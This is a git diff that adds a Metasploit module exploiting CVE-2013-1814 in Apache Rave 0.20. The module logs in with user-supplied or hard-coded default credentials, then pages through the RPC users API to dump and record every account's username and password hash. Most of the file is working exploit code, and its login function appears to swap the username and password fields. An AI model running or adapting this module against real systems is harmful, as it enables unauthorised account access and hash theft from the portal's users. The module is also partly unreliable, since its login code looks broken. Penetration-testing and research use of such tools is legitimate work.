diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb new file mode 100644 index 0000000000..425270da3d --- /dev/null +++ b/modules/auxiliary/gather/apache_rave_creds.rb @@ -0,0 +1,209 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Rave Users Information Disclosure', + 'Description' => %q{ + This module exploits an information disclosure in Apache Rave 0.20 and prior. The + vulnerability exists in the RPC API, which allows any authenticated user to + disclose information about all the users, including their password hashes. In order + to authenticate the user can provide his own credentials. Also the default ones + installed with Apache Rave 0.20 will be tried automatically. This module has been + successfully tested on Apache Rave 0.20. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andreas Guth', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-1814' ], + [ 'OSVDB', '91235' ], + [ 'BID', '58455' ], + [ 'EDB', '24744'] + ] + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']), + OptString.new('USERNAME', [ false, 'Apache Rave Username' ]), + OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]), + ], self.class) + end + + def login(username, password) + uri = normalize_uri(target_uri.to_s, "j_spring_security_check") + + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'vars_post' => { + 'j_password' => username, + 'j_username' => password + } + }) + + if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + return $1 + else + return nil + end + end + + def disclose(cookie, offset) + uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get") + + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'vars_get' => { + 'offset' => "#{offset}" + }, + 'cookie' => "JSESSIONID=#{cookie}" + }) + + if res and res.code == 200 and res.headers['Content-Type'] =~ /application\/json/ and res.body =~ /resultSet/ + return res.body + else + return nil + end + + end + + def setup + # Default accounts installed and enabled on Apache Rave 0.20 + @default_accounts = { + "canonical" => "canonical", + "john.doe" => "john.doe", + "jane.doe" => "jane.doe", + "johnldap" => "johnldap", + "four.col" => "four.col", + "fourwn.col" => "fourwn.col", + "george.doe" => "george.doe", + "maija.m" => "maija.m", + "mario.rossi" => "mario.rossi", + "one.col" => "one.col", + "three.col" => "three.col", + "threewn.col" => "threewn.col", + "twown.col" => "twown.col" + } + end + + def run + + print_status("#{rhost}:#{rport} - Fingerprinting...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.to_s, "login"), + 'method' => 'GET', + }) + + if not res + print_error("#{rhost}:#{rport} - No response, aborting...") + return + elsif res.code == 200 and res.body =~ /Apache Rave ([0-9\.]*)<\/span>/ + version =$1 + if version <= "0.20" + print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...") + else + print_error("#{rhost}:#{rport} - Apache Rave #{version} found. Not vulnerable. Aborting...") + return + end + else + print_warning("#{rhost}:#{rport} - Apache Rave Portal not found, trying to log-in anyway...") + end + + cookie = nil + unless datastore["USERNAME"].empty? or datastore["PASSWORD"].empty? + print_status("#{rhost}:#{rport} - Login with the provided credentials...") + cookie = login(datastore["USERNAME"], datastore["PASSWORD"]) + if cookie.nil? + print_error("#{rhost}:#{rport} - Login failed.") + else + print_good("#{rhost}:#{rport} - Login successful. Proceeding...") + end + end + + if cookie.nil? + print_status("#{rhost}:#{rport} - Login with default accounts...") + @default_accounts.each { |user, password| + print_status("#{rhost}:#{rport} - Login with the #{user} default account...") + cookie = login(user, password) + unless cookie.nil? + print_good("#{rhost}:#{rport} - Login successful. Proceeding...") + break + end + } + end + + if cookie.nil? + print_error("#{rhost}:#{rport} - Login failed. Aborting...") + return + end + + print_status("#{rhost}:#{rport} - Disclosing information...") + offset = 0 + search = true + + while search + print_status("#{rhost}:#{rport} - Disclosing offset #{offset}...") + users_data = disclose(cookie, offset) + if users_data.nil? + print_error("#{rhost}:#{rport} - Disclosure failed. Aborting...") + return + else + print_good("#{rhost}:#{rport} - Disclosure successful") + end + + json_info = JSON.parse(users_data) + + path = store_loot( + 'apache.rave.users', + 'application/json', + rhost, + users_data, + nil, + "Apache Rave Users Database Offset #{offset}" + ) + print_status("#{rhost}:#{rport} - Information for offset #{offset} saved in: #{path}") + + print_status("#{rhost}:#{rport} - Recovering Hashes...") + json_info["result"]["resultSet"].each { |result| + vprint_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}") + report_auth_info( + :host => rhost, + :port => rport, + :sname => "Apache Rave", + :user => result["username"], + :pass => result["password"], + :active => result["enabled"] + ) + } + + page = json_info["result"]["currentPage"] + total_pages = json_info["result"]["numberOfPages"] + offset = offset + json_info["result"]["pageSize"] + if page == total_pages + search = false + end + + end + + end + +end